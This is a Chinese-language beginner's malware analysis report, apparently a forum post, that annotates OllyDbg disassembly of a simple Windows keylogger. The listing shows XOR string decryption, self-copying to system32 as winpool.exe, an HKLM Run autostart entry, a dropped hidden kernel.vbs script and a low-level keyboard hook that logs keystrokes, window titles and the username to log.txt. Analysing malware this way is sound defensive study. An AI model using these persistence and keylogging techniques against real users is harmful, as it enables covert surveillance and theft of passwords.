菜鸟的第一份病毒分析报告,样本很简单,欢迎各位大虾小虾们拍砖,多多指教
用OD加载病毒

00401000 >/$  B8 60324000   mov     eax, Keylog.00403260     ;  ASCII "UI@RQGTCZKoetiui`rZQohbiquZEsttchrPctuoihZTsh"
                这是被加密的字符串
00401005  |.  33C9          xor     ecx, ecx
00401007  |.  B9 2E000000   mov     ecx, 2E
0040100C  |.  49            dec     ecx
0040100D  |>  8A18          /mov     bl, byte ptr ds:[eax]  从这里开始对字符串解密
0040100F  |.  80F3 06       |xor     bl, 6
00401012  |.  8818          |mov     byte ptr ds:[eax], bl
00401014  |.  40            |inc     eax
00401015  |.^ E2 F6         \loopd   short Keylog.0040100D  字符串解密结束"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

接下来是一系列API的调用:
首先获取Windows系统文件目录完整路径
00401017  |.  6A 64         push    64                       ; /BufSize = 64 (100.)
00401019  |.  68 003B4000   push    Keylog.00403B00          ; |Buffer = Keylog.00403B00
0040101E  |.  E8 8B050000   call    <jmp.&kernel32.GetSystem>; \GetSystemDirectoryA 
设置kernel.vbs的存放路径
00401023  |.  68 4E384000   push    Keylog.0040384E          ; /StringToAdd = "\kernel.vbs"
00401028  |.  68 003B4000   push    Keylog.00403B00          ; |ConcatString = "C:\WINDOWS\system32"
0040102D  |.  E8 9A050000   call    <jmp.&kernel32.lstrcatA> ; \lstrcatA

00401032  |.  68 5A384000   push    Keylog.0040385A          ; /StringToAdd = "cscript "
00401037  |.  68 A3324000   push    Keylog.004032A3          ; |ConcatString = "C:\WINDOWS\system32\kernel.vbs"
0040103C  |.  E8 8B050000   call    <jmp.&kernel32.lstrcatA> ; \lstrcatA
00401041  |.  68 003B4000   push    Keylog.00403B00          ; /StringToAdd = "C:\WINDOWS\system32\kernel.vbs"
00401046  |.  68 A3324000   push    Keylog.004032A3          ; |ConcatString = "cscript C:\WINDOWS\system32\kernel.vbs"
0040104B  |.  E8 7C050000   call    <jmp.&kernel32.lstrcatA> ; \lstrcatA

打开注册表,注册表主键为HKEY_LOCAL_MACHINE,子键即为刚才解密的字符串SOFTWARE\Microsoft\Windows\CurrentVersion\Run
00401050  |.  68 02394000   push    Keylog.00403902          ; /pHandle = Keylog.00403902
00401055  |.  68 06000200   push    20006                    ; |Access = KEY_WRITE
0040105A  |.  6A 00         push    0                        ; |Reserved = 0
0040105C  |.  68 60324000   push    Keylog.00403260          ; |Subkey = "UI@RQGTCZKoetiui`rZQohbiquZEsttchrPctuoihZTsh"
00401061  |.  68 02000080   push    80000002                 ; |hKey = HKEY_LOCAL_MACHINE
00401066  |.  E8 73050000   call    <jmp.&advapi32.RegOpenKe>; \RegOpenKeyExA
获取病毒程序路径
0040106B  |.  68 00010000   push    100                      ; /BufSize = 100 (256.)
00401070  |.  68 06394000   push    Keylog.00403906          ; |PathBuffer = Keylog.00403906
00401075  |.  6A 00         push    0                        ; |hModule = NULL
00401077  |.  E8 26050000   call    <jmp.&kernel32.GetModule>; \GetModuleFileNameA
获取Windows系统文件目录完整路径C:\WINDOWS\system32
0040107C  |.  6A 64         push    64                       ; /BufSize = 64 (100.)
0040107E  |.  68 383A4000   push    Keylog.00403A38          ; |Buffer = Keylog.00403A38
00401083  |.  E8 26050000   call    <jmp.&kernel32.GetSystem>; \GetSystemDirectoryA
00401088  |.  6A 64         push    64                       ; /BufSize = 64 (100.)
0040108A  |.  68 9C3A4000   push    Keylog.00403A9C          ; |Buffer = Keylog.00403A9C
0040108F  |.  E8 1A050000   call    <jmp.&kernel32.GetSystem>; \GetSystemDirectoryA
设置log.txt的存放路径
00401094  |.  68 63384000   push    Keylog.00403863          ; /StringToAdd = "\log.txt"
00401099  |.  68 9C3A4000   push    Keylog.00403A9C          ; |ConcatString = ""
0040109E  |.  E8 29050000   call    <jmp.&kernel32.lstrcatA> ; \lstrcatA
设置winpool.exe的存放路径C:\WINDOWS\system32\winpool.exe.
004010A3  |.  68 96324000   push    Keylog.00403296          ; /StringToAdd = "\winpool.exe"
004010A8  |.  68 383A4000   push    Keylog.00403A38          ; |ConcatString = ""
004010AD  |.  E8 1A050000   call    <jmp.&kernel32.lstrcatA> ; \lstrcatA
创建文件
004010B2  |.  6A 00         push    0                        ; /hTemplateFile = NULL
004010B4  |.  68 80000000   push    80                       ; |Attributes = NORMAL
004010B9  |.  6A 03         push    3                        ; |Mode = OPEN_EXISTING
004010BB  |.  6A 00         push    0                        ; |pSecurity = NULL
004010BD  |.  6A 00         push    0                        ; |ShareMode = 0
004010BF  |.  68 00000080   push    80000000                 ; |Access = GENERIC_READ
004010C4  |.  68 383A4000   push    Keylog.00403A38          ; |FileName = ""
004010C9  |.  E8 A4040000   call    <jmp.&kernel32.CreateFil>; \CreateFileA
004010CE  |.  83F8 FF       cmp     eax, -1
004010D1  |.  75 7F         jnz     short Keylog.00401152
如果创建失败,则复制病毒文件到目录"C:\WINDOWS\system32\winpool.exe"
004010D3  |.  6A 00         push    0                        ; /FailIfExists = FALSE
004010D5  |.  68 383A4000   push    Keylog.00403A38          ; |NewFileName = ""
004010DA  |.  68 06394000   push    Keylog.00403906          ; |ExistingFileName = ""
004010DF  |.  E8 88040000   call    <jmp.&kernel32.CopyFileA>; \CopyFileA
添加注册表启动项
004010E4  |.  6A 64         push    64                       ; /BufSize = 64 (100.)
004010E6  |.  68 383A4000   push    Keylog.00403A38          ; |Buffer = Keylog.00403A38
004010EB  |.  6A 01         push    1                        ; |ValueType = REG_SZ
004010ED  |.  6A 00         push    0                        ; |Reserved = 0
004010EF  |.  68 8E324000   push    Keylog.0040328E          ; |ValueName = "winpool"
004010F4  |.  FF35 02394000 push    dword ptr ds:[403902]    ; |hKey = 0
004010FA  |.  E8 E5040000   call    <jmp.&advapi32.RegSetVal>; \RegSetValueExA
004010FF  |.  FF35 02394000 push    dword ptr ds:[403902]    ; /hKey = NULL 释放该注册表键句柄
00401105  |.  E8 CE040000   call    <jmp.&advapi32.RegCloseK>; \RegCloseKey
创建文件"C:\WINDOWS\system32\kernel.vbs"
0040110A  |.  6A 00         push    0                        ; /hTemplateFile = NULL
0040110C  |.  68 80000000   push    80                       ; |Attributes = NORMAL
00401111  |.  6A 04         push    4                        ; |Mode = OPEN_ALWAYS
00401113  |.  6A 00         push    0                        ; |pSecurity = NULL
00401115  |.  6A 00         push    0                        ; |ShareMode = 0
00401117  |.  68 00000040   push    40000000                 ; |Access = GENERIC_WRITE
0040111C  |.  68 003B4000   push    Keylog.00403B00          ; |FileName = "C:\WINDOWS\system32\kernel.vbs"
00401121  |.  E8 4C040000   call    <jmp.&kernel32.CreateFil>; \CreateFileA
00401126  |.  A3 AE384000   mov     dword ptr ds:[4038AE], e>
往kernel.vbs脚本文件写入代码
0040112B  |.  6A 00         push    0                        ; /pOverlapped = NULL
0040112D  |.  68 643B4000   push    Keylog.00403B64          ; |pBytesWritten = Keylog.00403B64
00401132  |.  68 47050000   push    547                      ; |nBytesToWrite = 547 (1351.)
00401137  |.  68 07334000   push    Keylog.00403307          ; |Buffer = Keylog.00403307
0040113C  |.  FF35 AE384000 push    dword ptr ds:[4038AE]    ; |hFile = NULL
00401142  |.  E8 7F040000   call    <jmp.&kernel32.WriteFile>; \WriteFile      关闭内核对象
00401147  |.  FF35 AE384000 push    dword ptr ds:[4038AE]    ; /hObject = NULL
0040114D  |.  E8 14040000   call    <jmp.&kernel32.CloseHand>; \CloseHandle
如果"winpool.exe"创建成功则创建互斥进行,进程名为"winpool"
00401152  |>  C705 643B4000>mov     dword ptr ds:[403B64], 0  
0040115C  |.  68 58324000   push    Keylog.00403258          ; /MutexName = "winpool"
00401161  |.  6A 00         push    0                        ; |InitialOwner = FALSE
00401163  |.  6A 00         push    0                        ; |pSecurity = NULL
00401165  |.  E8 0E040000   call    <jmp.&kernel32.CreateMut>; \CreateMutexA
当GetLastError返回0B7时就代表捕捉到了ERROR_ALREADY_EXISTS错误,就无法多开了
0040116A  |.  E8 27040000   call    <jmp.&kernel32.GetLastEr>; [GetLastError
0040116F  |.  3D B7000000   cmp     eax, 0B7
00401174  |.  74 61         je      short Keylog.004011D7  如果没有创建进程
00401176  |.  33DB          xor     ebx, ebx
00401178  |.  E8 03000000   call    Keylog.00401180
0040117D  |.  61            popad
0040117E  |.  6200          bound   eax, qword ptr ds:[eax]
打开log.txt文件
00401180  |$  68 9C3A4000   push    Keylog.00403A9C          ; |path = "C:\WINDOWS\system32\log.txt"
00401185  |.  FF15 64204000 call    near dword ptr ds:[<&msv>; \fopen
0040118B  |.  83C4 08       add     esp, 8
0040118E  |.  A3 AE384000   mov     dword ptr ds:[4038AE], e>
00401193  |.  6A 00         push    0                        ; /pModule = NULL
00401195  |.  E8 0E040000   call    <jmp.&kernel32.GetModule>; \GetModuleHandleA
安装键盘钩子
0040119A  |.  53            push    ebx                      ; /ThreadID
0040119B  |.  50            push    eax                      ; |hModule
0040119C  |.  68 DE114000   push    Keylog.004011DE          ; |Hookproc = Keylog.004011DE
004011A1  |.  6A 0D         push    0D                       ; |HookType = 13.
004011A3  |.  E8 AC030000   call    <jmp.&user32.SetWindowsH>; \SetWindowsHookExA
004011A8  |.  A3 B2384000   mov     dword ptr ds:[4038B2], e>
获取窗口消息
004011AD  |.  6A 00         push    0                        ; /MsgFilterMax = 0
004011AF  |.  6A 00         push    0                        ; |MsgFilterMin = 0
004011B1  |.  6A 00         push    0                        ; |hWnd = NULL
004011B3  |.  68 3C324000   push    Keylog.0040323C          ; |pMsg = Keylog.0040323C
004011B8  |.  E8 85030000   call    <jmp.&user32.GetMessageA>; \GetMessageA
卸载钩子
004011BD  |.  FF35 B2384000 push    dword ptr ds:[4038B2]    ; /hHook = NULL
004011C3  |.  E8 98030000   call    <jmp.&user32.UnhookWindo>; \UnhookWindowsHookEx
关闭文件
004011C8  |.  FF35 AE384000 push    dword ptr ds:[4038AE]    ; /stream = NULL
004011CE  |.  FF15 6C204000 call    near dword ptr ds:[<&msv>; \fclose
004011D4  |.  83C4 04       add     esp, 4
004011D7  |>  6A 00         push    0                        ; /ExitCode = 0  如果进程已经创建,则退出
004011D9  \.  E8 A6030000   call    <jmp.&kernel32.ExitProce>; \ExitProcess

以下部分为获取用户键盘操作并写入到log.txt
004011DE   .  55            push    ebp
004011DF   .  8BEC          mov     ebp, esp
004011E1   .  81C4 78FEFFFF add     esp, -188
004011E7   .  8DBD 00FFFFFF lea     edi, dword ptr ss:[ebp-1>
004011ED   .  6A 40         push    40
004011EF   .  59            pop     ecx
004011F0   .  33C0          xor     eax, eax
004011F2   .  F3:AB         rep     stos dword ptr es:[edi]
004011F4   .  8B45 0C       mov     eax, dword ptr ss:[ebp+C>
004011F7   .  3D 01010000   cmp     eax, 101
004011FC   .  0F84 B1020000 je      Keylog.004014B3
00401202   .  3D 05010000   cmp     eax, 105
00401207   .  0F84 A6020000 je      Keylog.004014B3
0040120D   .  E8 18030000   call    <jmp.&user32.GetForegrou>; [GetForegroundWindow
00401212   .  3905 FE384000 cmp     dword ptr ds:[4038FE], e>
00401218   .  0F84 C9010000 je      Keylog.004013E7
0040121E   .  A3 FE384000   mov     dword ptr ds:[4038FE], e>
获得指定窗口所属的类的类名
00401223   .  6A 40         push    40                       ; /Count = 40 (64.)
00401225   .  8D85 C0FEFFFF lea     eax, dword ptr ss:[ebp-1>; |
0040122B   .  50            push    eax                      ; |Buffer
0040122C   .  FF35 FE384000 push    dword ptr ds:[4038FE]    ; |hWnd = NULL
00401232   .  E8 ED020000   call    <jmp.&user32.GetClassNam>; \GetClassNameA
获取本机时间
00401237   .  8D85 78FEFFFF lea     eax, dword ptr ss:[ebp-1>
0040123D   .  50            push    eax                      ; /pLocaltime
0040123E   .  E8 59030000   call    <jmp.&kernel32.GetLocalT>; \GetLocalTime
00401243   .  6A 0C         push    0C                       ; /MaxFormattedStringSize = C (12.)
00401245   .  8D85 94FEFFFF lea     eax, dword ptr ss:[ebp-1>; |
0040124B   .  50            push    eax                      ; |FormattedString
0040124C   .  68 00304000   push    Keylog.00403000          ; |Format = "dd MMM yyyy"
格式化时间
00401251   .  8D85 78FEFFFF lea     eax, dword ptr ss:[ebp-1>; |
00401257   .  50            push    eax                      ; |pDate
00401258   .  6A 00         push    0                        ; |dwFlags = 0
0040125A   .  6A 00         push    0                        ; |LocaleId = 0
0040125C   .  E8 2F030000   call    <jmp.&kernel32.GetDateFo>; \GetDateFormatA
00401261   .  6A 0C         push    0C
00401263   .  8D85 88FEFFFF lea     eax, dword ptr ss:[ebp-1>
00401269   .  50            push    eax
0040126A   .  68 30324000   push    Keylog.00403230          ;  ASCII "hh:mm:ss tt"
0040126F   .  8D85 78FEFFFF lea     eax, dword ptr ss:[ebp-1>
00401275   .  50            push    eax
00401276   .  6A 00         push    0
00401278   .  6A 00         push    0
0040127A   .  E8 35030000   call    <jmp.&kernel32.GetTimeFo>
获取创建窗口的线程Id
0040127F   .  68 FA384000   push    Keylog.004038FA          ; /pProcessID = Keylog.004038FA
00401284   .  FF35 FE384000 push    dword ptr ds:[4038FE]    ; |hWnd = NULL
0040128A   .  E8 BF020000   call    <jmp.&user32.GetWindowTh>; \GetWindowThreadProcessId
枚举进程所有模块
0040128F   .  FF35 FA384000 push    dword ptr ds:[4038FA]    ; /ProcessID = 0
00401295   .  6A 08         push    8                        ; |Flags = TH32CS_SNAPMODULE
00401297   .  E8 E2020000   call    <jmp.&kernel32.CreateToo>; \CreateToolhelp32Snapshot
0040129C   .  A3 78384000   mov     dword ptr ds:[403878], e>
004012A1   .  C705 0C304000>mov     dword ptr ds:[40300C], 2>
004012AB   .  68 0C304000   push    Keylog.0040300C          ; /pModuleentry = Keylog.0040300C
004012B0   .  FF35 78384000 push    dword ptr ds:[403878]    ; |hSnapshot = NULL
004012B6   .  E8 FF020000   call    <jmp.&kernel32.Module32F>; \Module32First
004012BB   .  FF35 78384000 push    dword ptr ds:[403878]    ; /hObject = NULL
004012C1   .  E8 A0020000   call    <jmp.&kernel32.CloseHand>; \CloseHandle
获取窗口标题
004012C6   .  68 00010000   push    100                      ; /Count = 100 (256.)
004012CB   .  8D85 00FFFFFF lea     eax, dword ptr ss:[ebp-1>; |
004012D1   .  50            push    eax                      ; |Buffer
004012D2   .  FF35 FE384000 push    dword ptr ds:[4038FE]    ; |hWnd = NULL
004012D8   .  E8 6B020000   call    <jmp.&user32.GetWindowTe>; \GetWindowTextA
以[%s, %s pr0gr4m:%s]的格式写入日期、时间、窗口标题至log.txt
004012DD   .  8D35 2C314000 lea     esi, dword ptr ds:[40312>
004012E3   .  56            push    esi
004012E4   .  8DB5 88FEFFFF lea     esi, dword ptr ss:[ebp-1>
004012EA   .  56            push    esi
004012EB   .  8DB5 94FEFFFF lea     esi, dword ptr ss:[ebp-1>
004012F1   .  56            push    esi
004012F2   .  E8 18000000   call    Keylog.0040130F          ;  PUSH ASCII "
[%s, %s pr0gr4m:%s]
"
004012F7   .  0D 0A 5B 25 7>ascii   "
[%s, %s pr0gr4"
00401307   .  6D 3A 25 73 5>ascii   "m:%s]
",0
0040130F   >  FF35 AE384000 push    dword ptr ds:[4038AE]    ; |stream = NULL
00401315   .  FF15 68204000 call    near dword ptr ds:[<&msv>; \fprintf
0040131B   .  83C4 0C       add     esp, 0C      堆栈平衡
写入用户所作的操作至log.txt
0040131E   .  8DB5 C0FEFFFF lea     esi, dword ptr ss:[ebp-1>
00401324   .  56            push    esi
00401325   .  8DB5 00FFFFFF lea     esi, dword ptr ss:[ebp-1>
0040132B   .  56            push    esi
0040132C   .  E8 19000000   call    Keylog.0040134A          ;  PUSH ASCII "
[  W1nd0w n4m3:%s  ]
"
00401331   .  0D 0A 5B 20 2>ascii   "
[  W1nd0w n4m3"
00401341   .  3A 25 73 20 2>ascii   ":%s  ]
",0
0040134A   >  FF35 AE384000 push    dword ptr ds:[4038AE]    ; |stream = NULL
00401350   .  FF15 68204000 call    near dword ptr ds:[<&msv>; \fprintf
00401356   .  83C4 0C       add     esp, 0C
00401359   .  C705 B6384000>mov     dword ptr ds:[4038B6], 8>
00401363   .  68 B6384000   push    Keylog.004038B6
00401368   .  68 7C384000   push    Keylog.0040387C
0040136D   .  6A 01         push    1
0040136F   .  E8 16020000   call    <jmp.&kernel32.GetComput>
00401374   .  C705 B6384000>mov     dword ptr ds:[4038B6], 2>
0040137E   .  68 B6384000   push    Keylog.004038B6
00401383   .  68 DA384000   push    Keylog.004038DA
00401388   .  6A 00         push    0
0040138A   .  E8 FB010000   call    <jmp.&kernel32.GetComput>
0040138F   .  C705 B6384000>mov     dword ptr ds:[4038B6], 2>
获取用户名
00401399   .  68 B6384000   push    Keylog.004038B6          ; /pBufCount = Keylog.004038B6
0040139E   .  68 BA384000   push    Keylog.004038BA          ; |Buffer = Keylog.004038BA
004013A3   .  E8 2A020000   call    <jmp.&advapi32.GetUserNa>; \GetUserNameA
以[ us3r l0gg3d: %s]的格式写入用户名至log.txt
004013A8   .  8D35 BA384000 lea     esi, dword ptr ds:[4038B>
004013AE   .  56            push    esi
004013AF   .  E8 15000000   call    Keylog.004013C9          ;  PUSH ASCII "[ us3r l0gg3d: %s]
"
004013B4   .  5B 20 75 73 3>ascii   "[ us3r l0gg3d: %"
004013C4   .  73 5D 0D 0A 0>ascii   "s]
",0
004013C9   >  FF35 AE384000 push    dword ptr ds:[4038AE]    ; |stream = NULL
004013CF   .  FF15 68204000 call    near dword ptr ds:[<&msv>; \fprintf
004013D5   .  83C4 0C       add     esp, 0C
004013D8   .  FF35 AE384000 push    dword ptr ds:[4038AE]    ; /stream = NULL
004013DE   .  FF15 60204000 call    near dword ptr ds:[<&msv>; \fflush
004013E4   .  83C4 04       add     esp, 4
004013E7   >  8B75 10       mov     esi, dword ptr ss:[ebp+1>
004013EA   .  AD            lods    dword ptr ds:[esi]
004013EB   .  3C A0         cmp     al, 0A0
004013ED   .  0F84 C0000000 je      Keylog.004014B3
004013F3   .  3C A1         cmp     al, 0A1
004013F5   .  0F84 B8000000 je      Keylog.004014B3
004013FB   .  3C 14         cmp     al, 14
004013FD   .  0F84 B0000000 je      Keylog.004014B3
00401403   .  3C 1B         cmp     al, 1B
00401405   .  74 60         je      short Keylog.00401467
00401407   .  3C 08         cmp     al, 8
00401409   .  74 5C         je      short Keylog.00401467
0040140B   .  3C 09         cmp     al, 9
0040140D   .  74 58         je      short Keylog.00401467
0040140F   .  8DBD A0FEFFFF lea     edi, dword ptr ss:[ebp-1>
获取所有虚拟键的状态
00401415   .  6A 08         push    8
00401417   .  59            pop     ecx
00401418   .  33C0          xor     eax, eax
0040141A   .  F3:AB         rep     stos dword ptr es:[edi]
0040141C   .  8D9D 00FFFFFF lea     ebx, dword ptr ss:[ebp-1>
00401422   .  53            push    ebx                      ; /pState
00401423   .  E8 14010000   call    <jmp.&user32.GetKeyboard>; \GetKeyboardState
00401428   .  68 A0000000   push    0A0                      ; /Key = VK_LSHIFT
0040142D   .  E8 04010000   call    <jmp.&user32.GetKeyState>; \GetKeyState
00401432   .  96            xchg    eax, esi
00401433   .  68 A1000000   push    0A1                      ; /Key = VK_RSHIFT
00401438   .  E8 F9000000   call    <jmp.&user32.GetKeyState>; \GetKeyState
0040143D   .  0BC6          or      eax, esi
0040143F   .  8843 10       mov     byte ptr ds:[ebx+10], al
00401442   .  6A 14         push    14                       ; /Key = VK_CAPITAL
00401444   .  E8 ED000000   call    <jmp.&user32.GetKeyState>; \GetKeyState
00401449   .  8843 14       mov     byte ptr ds:[ebx+14], al
0040144C   .  8B75 10       mov     esi, dword ptr ss:[ebp+1>
0040144F   .  8DBD A0FEFFFF lea     edi, dword ptr ss:[ebp-1>
00401455   .  6A 00         push    0                        ; /MenuActive = 0
00401457   .  57            push    edi                      ; |pTranslated
00401458   .  53            push    ebx                      ; |pKeyState
00401459   .  AD            lods    dword ptr ds:[esi]       ; |
0040145A   .  92            xchg    eax, edx                 ; |
0040145B   .  AD            lods    dword ptr ds:[esi]       ; |
0040145C   .  50            push    eax                      ; |ScanCode
0040145D   .  52            push    edx                      ; |Key
0040145E   .  E8 F7000000   call    <jmp.&user32.ToAscii>    ; \ToAscii
00401463   .  85C0          test    eax, eax
00401465   .  75 2B         jnz     short Keylog.00401492
00401467   >  8B75 10       mov     esi, dword ptr ss:[ebp+1>
0040146A   .  AD            lods    dword ptr ds:[esi]
0040146B   .  AD            lods    dword ptr ds:[esi]
0040146C   .  C1E0 10       shl     eax, 10
0040146F   .  91            xchg    eax, ecx
00401470   .  AD            lods    dword ptr ds:[esi]
00401471   .  C1E0 18       shl     eax, 18
00401474   .  0BC8          or      ecx, eax
获取按下的键名
00401476   .  6A 20         push    20                       ; /Count = 20 (32.)
00401478   .  8DBD A0FEFFFF lea     edi, dword ptr ss:[ebp-1>; |
0040147E   .  57            push    edi                      ; |Buffer
0040147F   .  51            push    ecx                      ; |lParam
00401480   .  E8 AB000000   call    <jmp.&user32.GetKeyNameT>; \GetKeyNameTextA

输出键名至log.txt
00401485   .  57            push    edi
00401486   .  E8 05000000   call    Keylog.00401490          ;  PUSH ASCII "[%s]"
0040148B   .  5B 25 73 5D 0>ascii   "[%s]",0
00401490   >  EB 12         jmp     short Keylog.004014A4
00401492   >  57            push    edi
00401493   .  E8 03000000   call    Keylog.0040149B
00401498   .  25 73 00      ascii   "%s",0
0040149B   .  803F 0D       cmp     byte ptr ds:[edi], 0D
0040149E   .  75 04         jnz     short Keylog.004014A4
004014A0   .  C647 01 0A    mov     byte ptr ds:[edi+1], 0A
004014A4   >  FF35 AE384000 push    dword ptr ds:[4038AE]    ; |stream = NULL
004014AA   .  FF15 68204000 call    near dword ptr ds:[<&msv>; \fprintf
004014B0   .  83C4 04       add     esp, 4      堆栈平衡

调用下一个钩子
004014B3   >  FF75 10       push    dword ptr ss:[ebp+10]    ; /lParam
004014B6   .  FF75 0C       push    dword ptr ss:[ebp+C]     ; |wParam
004014B9   .  FF75 08       push    dword ptr ss:[ebp+8]     ; |HookCode
004014BC   .  FF35 B2384000 push    dword ptr ds:[4038B2]    ; |hHook = NULL
004014C2   .  E8 57000000   call    <jmp.&user32.CallNextHoo>; \CallNextHookEx
004014C7   .  8305 643B4000>add     dword ptr ds:[403B64], 1
004014CE   .  813D 643B4000>cmp     dword ptr ds:[403B64], 0>
004014D8   .  7E 40         jle     short Keylog.0040151A
004014DA   .  C705 643B4000>mov     dword ptr ds:[403B64], 0
004014E4   .  FF35 AE384000 push    dword ptr ds:[4038AE]    ; /stream = NULL
004014EA   .  FF15 6C204000 call    near dword ptr ds:[<&msv>; \fclose
004014F0   .  83C4 04       add     esp, 4      堆栈平衡
以隐藏方式执行kernel.vbs脚本
004014F3   .  6A 00         push    0                        ; /ShowState = SW_HIDE
004014F5   .  68 A3324000   push    Keylog.004032A3          ; |CmdLine = "C:\WINDOWS\system32\kernel.vbs"
004014FA   .  E8 C1000000   call    <jmp.&kernel32.WinExec>  ; \WinExec
004014FF   .  E8 03000000   call    Keylog.00401507
00401504   .  61            popad
00401505   .  6200          bound   eax, qword ptr ds:[eax]
00401507  /$  68 9C3A4000   push    Keylog.00403A9C          ; |path = "C:\WINDOWS\system32\log.txt"
0040150C  |.  FF15 64204000 call    near dword ptr ds:[<&msv>; \fopen
00401512  |.  83C4 08       add     esp, 8
00401515  |.  A3 AE384000   mov     dword ptr ds:[4038AE], e>
0040151A  |>  C9            leave
0040151B  \.  C2 0C00       retn    0C

这是一个记录用户键盘操作的病毒:
1、首先创建log.txt文件;
2、将病毒复制到目录C:\WINDOWS\system32下,更名为winpool.exe;
3、然后在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下添加注册表自启动项,将winpool设置为自启动;
4、在C:\WINDOWS\system32下创建kernel.vbs脚本,通过此脚本记录键盘操作并写入log.txt;
参考资料:王蓓昌《走进计算机病毒》